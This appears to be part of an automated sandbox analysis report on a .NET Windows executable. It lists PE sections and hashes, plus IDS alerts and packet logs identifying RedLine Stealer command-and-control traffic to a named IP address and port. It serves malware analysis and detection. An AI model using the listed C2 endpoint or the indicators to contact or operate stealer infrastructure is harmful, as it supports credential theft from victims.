IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17344	0x17400	dd1c5d6757237839002c3de5b319a93f	False	0.4487252184139785	data	6.0158075944762475	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	89ebbf373068a00e5c68d2ac72a26374	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-22T04:12:01.807485+0100	1800000	Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect	1	192.168.2.4	49731	192.144.32.84	16383	TCP
2025-01-22T04:12:01.807485+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.4	49731	192.144.32.84	16383	TCP
2025-01-22T04:12:06.906621+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	192.144.32.84	16383	192.168.2.4	49731	TCP
2025-01-22T04:12:07.076107+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.4	49731	192.144.32.84	16383	TCP
2025-01-22T04:12:09.938040+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	192.144.32.84	16383	192.168.2.4	49731	TCP
2025-01-22T04:12:10.308600+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.4	49733	192.144.32.84	16383	TCP
2025-01-22T04:12:11.531627+0100	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.4	49734	192.144.32.84	16383	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 04:12:01.159873009 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:01.164985895 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:01.165185928 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:01.187937021 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:01.192936897 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:01.566018105 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:01.571619034 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:01.751485109 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:01.807485104 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:06.901362896 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:06.901362896 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:06.906620979 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:06.907062054 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.025682926 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.075903893 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.075934887 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.075953007 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.075970888 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.076107025 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:07.076107979 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:07.080517054 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.080542088 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.080560923 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.080693007 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:07.080693007 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:07.081238031 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.085381031 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.085403919 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:07.085556984 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:07.128659964 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:07.236705065 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.236799955 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:07.236901999 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.268599987 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.268712044 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:07.746179104 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:07.746486902 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.753551960 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.753633022 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:07.754241943 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:07.800539970 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.832119942 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:07.875407934 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:08.189004898 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:08.189275026 CET	443	49732	172.67.75.172	192.168.2.4
Jan 22, 2025 04:12:08.189578056 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:08.192055941 CET	49732	443	192.168.2.4	172.67.75.172
Jan 22, 2025 04:12:09.932672024 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:09.933005095 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:09.938040018 CET	16383	49731	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:09.938064098 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:09.938219070 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:09.938224077 CET	49731	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:09.938782930 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:09.943589926 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.285181999 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290323019 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290354013 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290404081 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290417910 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290431023 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290460110 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290462971 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290476084 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290482998 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290489912 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290496111 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290508032 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290508986 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.290530920 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290549994 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.290678024 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.294513941 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295778036 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.295821905 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.295844078 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295850992 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.295871019 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295877934 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.295901060 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295905113 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.295907974 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295928001 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295931101 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.295955896 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.295984983 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.308418036 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.308599949 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313535929 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313591003 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313612938 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313623905 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313644886 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313697100 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313704967 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313751936 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313757896 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313817978 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313832045 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313859940 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313885927 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313908100 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313911915 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313935041 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.313956022 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313986063 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.313999891 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314027071 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314052105 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314074039 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314079046 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314102888 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314124107 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314150095 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314152002 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314177036 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314196110 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314203978 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314223051 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314230919 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314249992 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314279079 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314281940 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314308882 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314330101 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314358950 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314362049 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314385891 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314408064 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314413071 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314433098 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314439058 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314456940 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314486027 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314485073 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314512968 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314532995 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314538956 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314557076 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314564943 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314583063 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314590931 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.314615965 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.314640045 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.318470955 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.318563938 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.318763971 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.318779945 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.318826914 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319384098 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319406986 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319417953 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319431067 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319431067 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319453955 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319487095 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319490910 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319504976 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319546938 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319562912 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319572926 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319617033 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319677114 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319689035 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319710016 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319720030 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319730043 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319730997 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319740057 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319744110 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319751978 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319797993 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319804907 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319816113 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319850922 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319858074 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319869041 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319878101 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319888115 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319897890 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319897890 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319916964 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319943905 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319956064 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319967031 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319988966 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.319998026 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.319998980 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320029020 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320033073 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320039034 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320045948 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320086956 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320123911 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320135117 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320163965 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320173025 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320182085 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320183039 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320190907 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320210934 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320218086 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320221901 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320240974 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320255041 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320261955 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320271015 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320295095 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320308924 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320319891 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320328951 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320358992 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320364952 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320375919 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320401907 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320415020 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320420027 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320425034 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320461035 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320477009 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320487022 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320497990 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320507050 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320528984 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320538044 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320543051 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320554018 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320565939 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320575953 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320584059 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320591927 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320602894 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320607901 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320620060 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320631981 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320662975 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320667982 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320679903 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320689917 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320705891 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320710897 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320720911 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320724964 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320736885 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320741892 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320751905 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320776939 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320777893 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320786953 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320802927 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320818901 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320830107 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320832014 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320857048 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320869923 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320872068 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320888996 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.320903063 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320926905 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.320936918 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.323591948 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.323693037 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324328899 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324338913 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324385881 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324394941 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324398041 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324477911 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324487925 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324497938 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324516058 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324523926 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324537992 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324558973 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324573994 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324593067 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324614048 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324623108 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324630976 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324652910 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324687004 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324688911 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324696064 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324734926 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324739933 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324743032 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324771881 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324791908 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324795961 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324872971 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324881077 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324928045 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.324938059 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324948072 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.324976921 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325002909 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325006962 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325015068 CET	16383	49733	192.144.32.84	192.168.2.4
